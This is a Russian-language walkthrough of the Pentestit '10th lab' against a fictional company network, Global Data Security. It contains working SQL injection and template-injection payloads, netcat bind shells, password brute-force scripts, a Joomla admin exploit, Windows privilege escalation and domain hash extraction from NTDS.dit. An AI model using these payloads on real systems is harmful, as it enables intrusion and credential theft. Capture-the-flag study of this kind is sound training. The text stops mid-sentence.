Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit

3234d63ae5b04788a6b4e7a0b93ea204.png

Лаборатории компании Pentestit уже стали традицией для многих. Каждый май и ноябрь открывается очередная лаборатория, и тысячи энтузиастов по всему миру не спят сутками чтобы первыми скомпрометировать сеть нового виртуального банка, разработчиков ПО или провайдера услуг в области ИБ.

25-го ноября запустилась очередная, на этот раз 10-я лаборатория, где участникам было предложено прорваться в сеть вымышленной компании Global Data Security — разработчика ПО в области информационной безопасности.

6-го декабря, ровно через 11 суток, лаборатория была пройдена первыми участниками, которые смогли получить доступ к каждому уязвимому узлу сети компании Global Data Security и нашли на них специальные токены — комбинации букв и цифр, которые нужно ввести в панель управления на сайте Pentestit.

Для тех, кто еще не успел заняться лабораторией — она будет активна до мая 2017-го года, после чего ее заменит уже объявленная 11-я лаборатория. А пока, эта статья предлагает описание всех этапов прохождения текущей лаборатории для всех, кто хочет развить свои навыки пентеста и узнать больше об актуальных уязвимостях на конец 2016-го года. Статья получилась длинная, но, надеюсь, интересная.

Disclaimer
Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.


Подключение к лаборатории


Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании Global Data Security.

Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

Начинаем тестирование
После регистрации и подключения мы видим следующую схему сети:
890c1bf56ddd4fe3a0c8eff7482b4902.png

Перед нами gateway с IP-адресом 192.168.101.9 — внешний шлюз компании. Любой пентест полезно начинать с пассивного и активного сбора информации о компании, ее сотрудниках, продуктах, сервисах, публичных сайтах и поддоменах и многом другом.

Пассивный сбор информации означает, что мы не связываемся напрямую с серверами компании, а пробуем найти информацию в общедоступных источниках — Google, LinkedIn, data.com, GitHub, и прочих. Довольно часто можно найти много интересного: имена сотрудников подскажут логины во внутреннюю сеть, на GitHub иногда можно найти исходные тексты, которые помогут лучше узнать о внутреннем устройстве продуктов или инфраструктуры компании, и так далее.

К сожалению, в данном случае пассивный сбор информации не дал желаемых результатов (а вот в прошлой лаборатории, в задании SSH это было очень полезно), поэтому мы переходим к активному сбору информации, то есть такому, который подразумевает прямое взаимодействие с доступными нам ресурсами компании.

Собираем информацию
Начнем мы со сканирования портов, доступных через шлюз:

acc29809e1e24d19b3d6dfdd7a1573e3.png

Полезно также просканировать остальные TCP порты, и UDP порты: о них часто забывают, а ведь множество сервисов, такие как внутренний VPN (например, как в лаборатории #8) и другие. Оставим это в качестве упражнения, а сами пока сконцентрируемся на уже найденной информации.

В результате нам доступны SSH сервер, почтовый SMTP сервер, два сайта и веб-интерфейс для сотрудников в виде CommuniGate Pro на порту 8100. Начнем с изучения сайтов.

При попытке зайти на 192.168.101.9 получаем редирект на домен store.gds.lab. Видимо, сайт доступен по этому виртуальному хосту, и автоматически редиректит нас на него. Добавим нужную строку в /etc/hosts:

0b4cf1d109a5411c9e35f0d4927166a5.png

На всякий случай мы добавили gds.lab в том числе. Теперь сайт доступен:

00fd459de2684e95800b9f5186c557d6.png
Видим, что перед нами магазин на базе OpenCart:

f5cba4fab9f540729b876534d259da5a.png

При этом различные попытки его атаковать (например найти XSS или использовать одну из найденных в OpenCart уязвимостей) приводят к такой странице:

675fa67f0bd047f985ddd92cfb919c80.png
Видимо, сайт защищен с помощью Web Application Firewall. Итого, после небольшой разведки, нам стала известна следующая информация:

  • Магазин (видимо, токен store) основан на OpenCart и доступен по виртуальному хосту store.gds.lab
  • На основании сайта пока не удалось точно определить версию OpenCart
  • Любая грубая атака блокируется с помощью WAF (инъекции, XSS, перебор директорий)
  • Доступна папка /admin, но простые пароли по умолчанию не подходят

Попробуем зайти на 80-й порт используя виртуальный хост gds.lab:

9fa87f59fecb42548de15038e4404e26.png

Интересно, что здесь доступен еще один ресурс — файловый хостинг ownCloud. Изучив исходный код страницы и сообщение, понимаем, что правильная виртуальный хост — cloud.gds.lab. Внеся соответствующие изменения в hosts файл, получаем возможность пробовать логин и пароль:

670bc459870e42409f411c00a8990edb.png

Отлично! Попробовав несколько комбинаций вручную, видим, что стандартные пароли не подходят. При этом обнаруживаем в ownCloud интересную особенность: он предлагает сбросить пароль, если пароль неверный, и в зависимости от того, присутствует нужная учетная запись или нет, выдает разные сообщения:

Если учетной записи нет:

156763acf8d148fbbddaebdfe038e384.png

Если учетная запись зарегистрирована:

ac0bf7543b2e47178230ec1c5bbaa4d7.png

Пароль подобрать не удается, поэтому запомним найденное имя пользователя, и продолжим собирать информацию, на этот раз перейдя на следующий порт — 443.

192.168.101.9, к сожалению, не доступен по https, с сообщением вида:

An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG

Видимо, что-то с SSL. Сайт плохо сконфигурирован, и доступен по HTTP:

cd2715858aa84f91846040a64ea0349f.png

Видимо, это и есть основной сайт компании. Попробуем получить наш первый токен!

Изучаем site
После внимательного изучения страниц сайта, определяем что он, видимо, написан разработчиками компании GDS, и не использует готовую CMS вроде WordPress.

С учетом того, что множество уязвимостей связаны с пользовательским вводом, посмотрим доступные нам entry points. Находим адрес:

http://192.168.101.9:443/post.php?id=1

Если добавить одну кавычку в конце, получаем редирект на основную страницу сайта, а если две — нет. Похоже на SQL injection. Немного поэкспериментировав, находим, что условие находится в скобках:
http://192.168.101.9:443/post.php?id=1') -- -

При этом попытки добавлять UNION SELECT не приводят к успеху, видимо, в сайте есть фильтр на SQL-инъекции. Попробуем его обойти, используя стандартный прием с изменением регистра:
http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- -

Достанем таблицы:
http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- -

Затем поля:
http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- -

И затем логин и хеш пароля:
http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- -

f74cea9719e844409409e7568d584dff.png

Используем hashcat (желательно вне виртуальной машины, чтобы использовать GPU) чтобы восстановить пароль (и словари SecLists — очень рекомендую):

57910369f3814c4383e2d48315077a33.png
Получилось! Используя dirsearch находим административный интерфейс в папке /admin:

b970cc6328514b8bb2f595c1229917fe.png

Вводим туда найденные имя пользователя и пароль, и получаем первый токен:

17588f5643e94275b77249f42c0a68a2.png

Такого же результата поможет добиться SQLMap с включенной опцией --tamper=randomcase, но последний запрос в любом случае придется сделать вручную.

Берем mail
Во время изучения сайта, обращаем внимание на всю информацию, найденную в процессе исследования. Очень важно не останавливаться в сборе информации и продолжать записывать все найденные особенности.

В частности, на странице Contact Us есть информация о двух учетных записях:

6952741dac804138896fc291fc037eb4.png

А на основной странице есть ссылка на еще одного человека:

8296f27b2c3e4ca2a087d013515ceec2.png

В результате получаем три учетные записи для почтового сервера:

  • a.modlin
  • s.locklear
  • j.wise
  • e.lindsey (подходит пароль с сайта, но в почте ничего нет)

Проверим, не использует ли кто-то из этих пользователей словарный пароль:

72531ef8f87f4d6dbd6c68cf6773d15d.png

Получилось подобрать пароль к пользователю a.modlin. Воспользуемся веб-интерфейсом почты на порту 8100:

1a965b3fe0564aad8da1c0ceed128fdf.png

Вот и следующий токен, а заодно и письмо от Joshua Wise с Android-приложением и следующим содержимым:

de70fd1eec3c42bbab3531e98e860a93.png.

Запомним это на будущее, судя по IP адресу и схеме сети, это приложение пригодится нам для токена ssh-test.

На данный момент мы внимательно изучили сайт (порт 443) и использовали его для получения двух токенов, кроме того, удалось обнаружить два виртуальных хоста (store.gds.lab и cloud.gds.lab) на 80-м порту. Последние защищены WAF-ом, поэтому несмотря на обилие возможных вариантов, найти уязвимости не получилось из-за постоянных блокировок.

Попробуем пробраться во внутреннюю сеть и продолжить оттуда.

Сервер ssh
Пользователи часто используют одни и те же пароли на разных сервисах. Попробуем зайти на сервер SSH с под e.lindsey, с паролем найденным на сайте:

45ece353153c479f9b516a81b15eae63.png

Получилось! На хосте удобно присутствует nmap, и нам доступна вся внутренняя сеть. Поискав токен, понимаем, что не все так просто.

На сервере есть много интересного. Среди прочего, находим:

  • много новых учетных записей по /etc/passwd и содержимому /home,
  • исходный код магазина в /var/www/, из которого определяем версию OpenCart, пароль к локальной MySQL и хеш пароля администратора OpenCart
  • папку /data/users с правами на вход, но без прав на листинг.

Очень полезная инструкция по пост-эксплуатации Linux-машин доступна здесь. В данном случае повышение привилегий на сервере SSH не подразумевалось авторами лаборатории, но в любом случае изучить содержимое на предмет дополнительных скриптов, настроек конфигурации, вебсайтов, задач в планировщике, подключенных файловых систем и другого очень полезно.

С учетом того, что в конфигурации сайта токена нет, сконцентрируемся на папке /data/users.

ab793d52321149c29f5948a9ab9d10d3.png

Как видим, на ней отсутствует бит r, но присутствует бит x, а значит заходить и работать с содержимым папки можно, а вот смотреть ее листинг — нельзя. Когда мы сталкиваемся с такой же задачей в вебе (где практически всегда отключен листинг директорий), мы используем утилиты вроде dirb или dirsearch, которые пробуют открыть файлы по словарю, перебирая множество комбинаций. Попробуем сделать то же самое и здесь, словари можно использовать из dirb.

Напишем небольшой скрипт, чтобы рекурсивно перепробовать нужные нам поддиректории и файлы по словарю:

"""Importing os to access file system"""
import os

PATH = "/data/users/"
DICC = "/var/tmp/common.txt"

def attempt_path(path):
    """Check if file or directory exists and print out the result. Return true if directory"""

    if os.path.isfile(path):
        print "Found file : " + path
        return False

    if os.path.isdir(path):
        print "Found dir  : " + path
        return True

    return False

def look_for_subdirs(path):
    """Recursive function to look for dirs"""
    with open(DICC) as dicc:
        for line in dicc:
            curr_path = path + line.rstrip('\n')
            if attempt_path(curr_path):
                look_for_subdirs(curr_path + "/")

look_for_subdirs(PATH)
print "Finished"

Теперь нужно подготовить словарь и загрузить его на ssh сервер. Один из способов — выложить словарь и наш код на питоне на локальный веб-сервер, и затем загрузить их с него с помощью wget.

Возьмем словарь из dirb, который в kali находится по адресу /usr/share/dirb/wordlists/common.txt, и добавим в него имена локальных пользователей, а заодно и файл token.txt (надеемся он где-то там):

e911e374d2004d8ea8feffd0a3371156.png

d83e6a145fe34673adef847a6927793a.png

К сожалению, наш IP напрямую недоступен с хоста 172.16.0.8, поэтому используем SSH туннель:

b99d91f5ee914b1b9b71da99f8403740.png

Здесь есть два момента, на которые нужно обратить внимание.

В начале мы делаем remote port forwarding, пробрасывая remote часть «localhost:80» (то есть то, что у на нашей локальной Kali машине находится на порту 80) на локальный (для SSH сервера) порт 8765. Вызвать эту командную строку ssh> можно нажатием комбинации клавиш ~C (удерживая shift нажимем ~ и затем C).

Теперь наш локальный вебсервер доступен нам на хосте SSH. На сервере по умолчанию включен прокси сервер, для локального порта его стоит убрать командой unset.

Теперь все готово, чтобы запускать наш скрипт:

68bd2a2a454545d485925266a43c0918.png

В папке /data/users/rross/docs/ найден токен и SSH-ключ rross-a. Кроме того, мы еще нашли SSH-ключ пользователя a.modlin. Наверняка один из них подойдет к ssh-test. Продолжим!

Разбираемся с ssh-test
Когда мы нашли токен mail, нам стала доступна версия приложения «gds-authenticator»:

de70fd1eec3c42bbab3531e98e860a93.png.
Как видно из письма, адресованного Альфреду Модлину, ему понадобится два фактора для входа на сервер — ключ или пароль, и номер порта SSH, который постоянно меняется. Эффективность второго фактора весьма сомнительна, потому что открытый порт можно просто найти с помощью nmap, но тем не менее мы сделаем эту задачу предполагаемым авторами способом. Распакуем apk и извлечем classes.dex:

3a69b15180834273aebbf6f2b7bdd555.png

Затем сконвертируем dex в jar с помощью одноименной утилиты:

6511685e9f41439baada8835c0ffe3b9.png

И, наконец, воспользуемся декомпилятором JD, чтобы получить исходники:

5c9ae1235bf84aad8962456f9c53c1cd.png

  protected void setAuthCode()
  {
    String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6);
    int i = Integer.parseInt(str.substring(-5 + str.length()));
    if (i > 65534) {
      i %= 65534;
    }
    TextView localTextView = (TextView)findViewById(2131492983);
    Object[] arrayOfObject = new Object[1];
    arrayOfObject[0] = Integer.valueOf(i);
    localTextView.setText(String.format("%d", arrayOfObject));
  }

Как видим, используется класс HOTP, также доступный в apk, которому дается seed и миллисекунды для вычисления. Попробуем извлечь код, который генерирует номер порта, чтобы научиться делать это, при желании, автоматически.

83520d4ae1494aed90d7e2045973000a.png

И затем скомпилируем и запустим:

fdc6015c8e784743b0264573eec5c1dc.png

Порт есть, осталось написать команду, которая будет подключаться к ssh test одной строкой. Скопируем /data/users/a.modlin/docs/key в локальную папку, а затем воспользуемся sshuttle, чтобы сделать внутреннюю сеть доступной с нашей Kali-машины.

sshuttle (который еще называют a poor man’s VPN) использует правила iptables, чтобы сделать внутренние подсети доступными через ssh-туннели. Подключаемся таким образом:

1062051d89b74b96ad4e983e364593ed.png

Сделаем bash-скрипт для подключения:

#!/bin/sh
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main)

Подключаемся и находим очередной токен:

fc5f9c3e322c40ff953201ae501cc1ae.png

Атакуем blog
Судя по схеме сети, по адресу 192.168.0.4 находится блог компании, беглое сканирование портов подтвержает присутствие открытого 80-го порта. Подключаемся через sshuttle и посмотрим, что можно найти на блоге:

d2d8513afb5749f5970e3f218435e527.png

Выглядит похоже на инсталляцию Joomla! Проверим:

08207ee68b95480bbf8275f506b0c957.png

Так и есть. Попробуем нашумевшую недавно уязвимость в Джумле, которая позволяет создать учетную запись администратора без аутентификации. Можно воспользоваться эксплоитом по ссылке, а можно, например, модулем из Metasploit:

209f4a62bee7467393b3f87c14a0c23f.png

Теперь просто заходим под нужным пользователем:

dc92a2b7b19a4d328bbcb7fcf99cd8cc.png

Находим неопубликованную статью:

8b6005538d6f4ac2bc8603743f14b5ad.png
И используем ее алиас в виде токена, и блог поддался!

Разбираем captcha
Сервер с капчей по адресу 192.168.0.7 предлагает не очень много — только пустую страницу с незагрузившейся картинкой. Немного поизучав исходный код основной
страницы (предварительно подключившись к ssh с помощью sshuttle), можно сделать следующие выводы:
  • Картинка генерируется в подпапке sources с псевдослучайным именем
  • Имя подпапки сохраняется для каждой сессии, и генерируется заново для новой сессии (это понятно если поменять PHPSESSID)
  • Сама по себе картинка не работает — видимо, какая-то старая забытая development версия

Ничего из этого не дает прямых указаний о том, что делать дальше. Воспользовавшись dirsearch, находим кое-что интересное:

ff2b417019aa44fcb47423ea87f75643.png

Исходя из содержимого robots.txt понимаем, что есть какой-то скрытый bak файл, в котором, видимо, и есть самое интересное.

a5c2cdf4234b4f0d878d952f55277f9f.png

При этом readme.txt говорит о том, что картинка удаляется через некоторое время после того, как она была сгенерирована.

Возьмем путь к картинке из основной страницы:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png

Так как мы ищем скрытый bak файл, попробуем заменить расширение png на bak:
http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak

07237edfa457414ba190185f483d7274.png

Видимо, это резервная копия исходного кода, которая говорит о том, что есть файл captcha с сериализованной сессией, и файл с бекдор-шеллом, который принимает команды в GET-параметре session и выполняет их.

К сожалению, если зайти еще раз — файла больше нет. Куда он делся? Вспоминаем readme.txt: он удаляется через некоторое время. После нескольких попыток понимаем, что файл становится доступен снова после захода на /index.php. Сделаем небольшой цикл, который будет это делать для нас постоянно, чтобы держать captcha.bak и остальные файлы доступными:

while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done

Файл снова на месте. Остается обратиться к ($_SESSION.php)?session=whoami чтобы убедиться, что мы получили возможность удаленного выполнения кода:

e1a90a631f444baa91a9333b4be978d1.png

Теперь сделаем bind shell на хосте 192.168.0.7 на порту 1234:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234

И подключимся к нему:

c647aa2e72b847a1bb8fe5da602aea87.png

Вот и очередной токен!

Взятие hall-of-fame
Изучив открытые порты на 192.168.0.8 обнаруживаем сайт с описанием известных хакеров и возможностью входа:

78edec1e4dc94f278bc9274e9d521a3f.png

Полезно начать с изучения карты сайта, доступных и скрытых каталогов, и попыток определить доступных пользователей. К сожалению, login-форма не работает на известных именах.

Внимание привлекают адреса адреса вида http://192.168.0.8/index.php?hname=James, так как параметр может оказаться примером уязвимости типа LFI (local file inclusion), но попытки ее эксплуатировать подставив системные пути не приводят к успеху. Обратимся к dirsearch и попробуем найти скрытые директории:

9d5f9a185d634754801e150c918193b0.png

Среди прочего, нашелся интересный файл: /backup/passwords.txt, и подпапка /dev, закрытая за basic-аутентификацией. Воспользуемся этими паролями на login-странице:

4f2183e96733423082dece45028f4914.png

После логина, получаем пароль к /dev части. Воспользуемся им, чтобы зайти в /dev:

bf4d4737b1c742a0892fb08b1d9f14cf.png

Внутри получаем копию внешнего сайта, но на ней подозреваемый ранее параметр hname уязвим к Server-Side Template Injection. Как видно, вписав {{7×7}} мы получаем результат операции (49) в заголовке страницы — который был вычислен на сервере. Мы получили RCE.

f940af8ab0344793b0f704e1cd4adbce.png

Саму атаку можно детально изучить по ссылке выше, а мы попробуем составить payload для того, чтобы создать bind shell. Для начала уточним имя пользователя:

8bc4f19fcc07430a8fa0f841896512f5.png

А затем с помощью следующей команды откроем bind shell:
http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}}

Подключившись, находим очередной токен!

0784af866f4c458eb8de077f40dec41d.png

Читаем news
news (192.168.0.5) — очередной сайт в Global Data Security, внешне похожий на hall of fame, с возможностью регистрации, входа, восстановления пароля и изучения внутренних новостей.

Логин форма предлагает нам ввести имейл и пароль.
b95050f4f2764976889660dafe2d5cc6.png

Попробовав все известные комбинации логина и пароля уже найденных пользователей (a.modlin, e.lindsey, etc.), понимаем что они не зарегистрированы — мы получаем сообщение wrong e-mail. При этом, попытка ввести admin@gds.lab приводит к другому сообщению: wrong password. Значит, пользователь admin@gds.lab зарегистрирован.

Вооружившись Burp Suite, пробуем подобрать пароль к admin@gds.lab, но это не приводит к успеху. Тогда снова обратимся к dirsearch и поищем что еще скрывается на сайте новостей:

c4cfd29217aa4c1b89a59feca9d07679.png

Находим папку /old, а в ней старую версию сайта новостей, в которой есть интересный комментарий, который намекает на существование «простого пользователя», то есть user:

81b546eefd6545cf83e4a92d7e2d41fc.png

Проверим наши догадки. Логин в /old не приводит ни к чему интересному, а вот если зайти под user@gds.lab с паролем user в новый сайт новостей, видим следующую страницу:

47e5d61c13fa439db1d6cb7cfea081e5.png

Отлично, осталось зайти под администратором, чтобы получить токен. Мы только что узнали о существовании новой страницы — user_info.php, посмотрим что есть на этот счет в /old.

a7d2780f08a042848ede2234c28bd479.png

После нескольких попыток, понимаем, что если попробовать залогиниться под пользователем admin используя этот адрес, то войти не получится, но вывод user_info.php изменится:

http://192.168.0.5/old/login_2.php?username=admin&password=admin

5a2aa1dd05ac4c0ca61d3427995d83d8.png

То есть, на самом деле мы вошли! Однако новый user_info.php теперь все равно не дает нам попасть внутрь.

Из этого можно заключить, что два сайта используют одну и ту же сессию, и сохраняют в ней информацию о пользователе. Видимо, попытка войти в /old сохраняет в поле username в сессии имя пользователя, и просто не редиректит на user_info.php если пароль неправильный (вместо того чтобы сохранять имя пользователя только после успешного входа с правильным паролем). И хотя для сайта /old этого достаточно, новый еще использует email, поэтому зайти на user_info.php не получается.

Попробуем сбросить пароль для пользователя admin:

http://192.168.0.5/password_restore_2.php?email=admin@gds.lab

Понадеявшись на то, что в форме сброса пароля программист допустил ту же ошибку (а именно, сохранил в сессии имейл) мы пробуем нам сохранить в сессии правильный email для того, чтобы войти под администратором.

Итого, весь процесс состоит из следующих шагов:

  • http://192.168.0.5/login_2.php?email=user%40gds.lab&password=user — входим под user@gds.lab/user в новый сайт
  • http://192.168.0.5/old/login_2.php?username=admin&password=user — устанавливаем значение «admin» в качестве текущего пользователя
  • http://192.168.0.5/password_restore_2.php?email=admin@gds.lab — устанавливаем значение «admin@gds.lab» в качестве текущего email-адреса
  • http://192.168.0.5/user_info.php — мы вошли под администратором

После успешного входа, получаем токен (вырезан на скриншоте ниже):

b432b4efa8ff42da998217f9c5561756.png

И вот, новости поддались!

Получаем web-control
Начнем, как обычно, со сканирования портов, для чего воспользуемся nmap, удобно предоставленным нам на хосте SSH.
46b4587259cf42b5ae06a60d33aad3f3.png

Изучив 80-й порт, не находим ничего интересного кроме формы для сбора имейлов, которая, к тому же, не работает, и папки /uploads, в которой ничего интересного найти не удалось.

Обратим внимание на нестандартный порт 1503. Чтобы его изучить, попробуем подключиться:

nc 192.168.0.6 1503

0457af6b7abb457b9cf89e14eb068c3e.png

Видимо, нужно подобрать комбинацию логина и пароля. Попробовав известные нам пароли с ssh, hall-of-fame и mail понимаем что все не так просто, и придется написать небольшой скрипт:

"""Sockets"""
import socket

WEB_CONTROL_HOST = '192.168.0.6'
WEB_CONTROL_PORT = 1503
USER_FILE = '/root/pentestit/webc/users.txt'
PASS_FILE = '/opt/SecLists/Passwords/john.txt'

def recv_until(string, sock):
    """Receives data from socket until certain string is found"""
    data = ""
    while True:
        tmp = sock.recv(1)
        if tmp == "":
            break
        data += tmp
        if data.endswith(string):
            break
    return data

def attempt_login(user, password):
    """Attempts to log in under a specified account"""
    # This should not connect every time and should be multi-threaded in an ideal world 
    web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT))

    reply = recv_until("Enter login: ", web_control)
    web_control.send(user)
    reply = recv_until("Enter password: ", web_control)
    web_control.send(password)
    reply = web_control.recv(6)
    web_control.close()

    return "Error!" not in reply

with open(USER_FILE) as user_file:
    for user_line in user_file:
        with open(PASS_FILE) as pass_file:
            for pass_line in pass_file:
                if attempt_login(user_line, pass_line):
                    print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n')

В качестве пользователей выпишем известные нам учетные записи с ssh, и несколько стандратных имен:
admin
administrator
root
user
k.barth
m.howard
g.leone
j.wise
s.locklear
e.lindsey
a.modlin

Запускаем скрипт на выполнение, и через некоторое время получаем желаемый результат:

99641a29f6eb4741b11a7f3e7d732efc.png

Получилось! После с нужным логином и паролем, понимаем что мы оказались в самописном инструменте для запуска каких-то скриптов.

Множество уязвимостей связано с плохо проверенным пользовательским вводом, попробуем добиться command injection. Если ввод передается в system, мы можем добавить дополнительную команду с помощью разделителя — ;, &, или |. Попробуем!

e229a2ff8faf4bc688a895e4bea9a601.png

Фильтруется все кроме |, что, видимо, было упущено разработчиками. Используя команду | nc -nvlp 1234 -e /bin/sh создаем bind shell на web-control. Теперь остается только подключиться и найти токен:

nc 192.168.0.6 1234
cat /var/opt/token.txt

Токен store
Как видно по схеме сети, store представлен двумя хостами — 172.16.0.4 (production), и 172.16.0.5 (dev). Кроме того, копия магазина находится на хосте ssh в папке /var/www/.

Изучив содержимое /var/www делаем следующие выводы:

  • используется последняя версия OpenCart, в которой нет известных уязвимостей
  • в /var/www/config.php находим пароль к локальной БД, на которой установлена копия магазина; в ней находим хеш пароля пользователя admin — пока он наша единственная надежда.

В hashcat недавно даже появилась возможность подбирать хеши формата OpenCart. Попробуем:
233e68d29a3e4912a1fac8646ff10b69.png
К сожалению, подобрать пароль не удается даже на достаточно большом словаре.

Переключим внимание на store и dev-store — возможно в них есть дополнительный скрытый файл, или используется старая, уязвимая версия OpenCart. Через некоторое время обнаруживаем SQL-инъекцию на машине dev-store, которой не было на ssh или store — видимо, на этом сервере осталась старая версия с уязвимостью.

Для проверки, поменяем hosts файл добавив запись:

172.16.0.5      store.gds.lab

И запустим SQLmap:
sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell

d9d918f1e7744229917c25f264dfbb5b.png

Мы получили доступ к базе данных на dev-store. К сожалению, доступ к файловой системе ограничен (прочесть /etc/passwd или записать что-то в файл через OUTFILE не получается), поэтому, видимо, токен находится прямо в базе.

72d5b51840ef413c89a31bb076c58bb2.png

И вот, store взят!

Изучаем win-term
Чтобы продвинуться дальше, участникам понадобилось больше четырех дней, хотя, как обычно, ларчик просто открывался. На текущий момент нераскрытыми остались три токена — win-term, win-dc0 и cloud.

Просканировав порты на Windows терминале и контроллере домена (DC0), понимаем что никаких дополнительных сервисов не открыто, версия Windows — 2008 R2, и известных публичных уязвимостей, позволяющих получить code execution нет. Несмотря на это, мы можем определить что обновления давно не устанавливались, так как машмну win-term можно перезагрузить с помощью уязвимости в RDP. Это значит, что вероятно повысить привилегии до администратора после входа на машину будет не так сложно.

Перебор паролей по словарю тоже не дает желаемого результата ни на одной из учетных записей. На всякий случай убеждаемся, что найденные ранее учетные данные существуют в домене:

5882d602ec2b4933a29d0bcf3ef9e0aa.png

Все на месте. На данном этапе у нас есть пароли двух пользователей — a.modlin и e.lindsey. Попробуем модифицировать пароль e.lindsey таким образом, чтобы он соответствовал стандартным доменным политикам, и содержал большие и маленькие буквы, и цифры. Начнем с того, что сделаем первую букву пароля e.lindsey заглавной:

rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD

a207ced942034441917a5c3a64ad7a44.png

Удалось подключиться! Попробуем повысить привилегии до администратора с использованием известной уязвимости MS16–023. Я скомпилировал этот код в виде exe file, но можно выполнить и через PowerShell. Запускаем:

79ecf2efe5df43b997bf8c637bb4223c.png

В полученной консоли администратора создаем отдельного пользователя, удаляем за собой лишние файлы, и заходим под локальным администратором:

rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD

54e9647da680440f889298432768d362.png

У администратора находим скрипт подключения зашифрованного диска с помощью TrueCrypt с ключом. Запускаем:

e49aeb1d832b429ea092bae579299b19.png

На появившемся диске X есть база KeePass, опять же с ключом:

5f616d9ccfdd4cdea9fc3ba84ece0f91.png

А в ней — пароль от учетной записи rross к cloud, и долгожданный токен:

7cb1c82838da483ba56b3b54a8416076.png

Получаем права администратора домена в win-dc0
Продолжая изучать содержимое терминала, мы находим папку с бекапом диска доменного контроллера:

41ad5088e5c74417ad5b0aca1c74aa76.png

Подключим VHD файл в консоли управления сервером:

b63c603db0094731952702c1f497cd51.png

Затем скопируем файл Windows\NTDS\Ntds.dit и Windows\System32\config\SYSTEM с только что подключенного VHD на локальную kali-машину.

af781774b3544f95bd4142e6e1ef08e2.png

Прежде чем продолжить, нужно подготовиться, установив специальные утилиты для работы с таблицами NTDS.dit: libesedb и NTDSXtract. Можно установить их в /opt таким образом:

cd /opt

git clone https://github.com/libyal/libesedb.git
cd libese/
apt-get install git autoconf automake autopoint libtool pkg-config build-essential
./synclibs.sh
./autogen.sh
./configure
make
make install

cd ..

git clone https://github.com/csababarta/ntdsxtract.git

Теперь все готово. В первую очередь, извлечем таблицы из ntds.dit с помощью esedbexport:

d86c7724efdd421d8a6bb2fc970a2c4d.png

В появившемся каталоге ntds.dit.export воспользуемся NTDSXtract чтобы извлечь хеши:

cce60845077e4839960eaf5f1b7eca14.png

В результате выполнения этой команды, получим файл nt.john.out с извлеченными хешами в новой папке dump/:

5fb8e2a1be4e49f4b8ef7b5dea7b1008.png

Иногда на этом можно остановиться, если можно восстановить пароль из извлеченного хеша администратора. В данном случае, так как это резервная копия, пароль уже не по

© Habrahabr.ru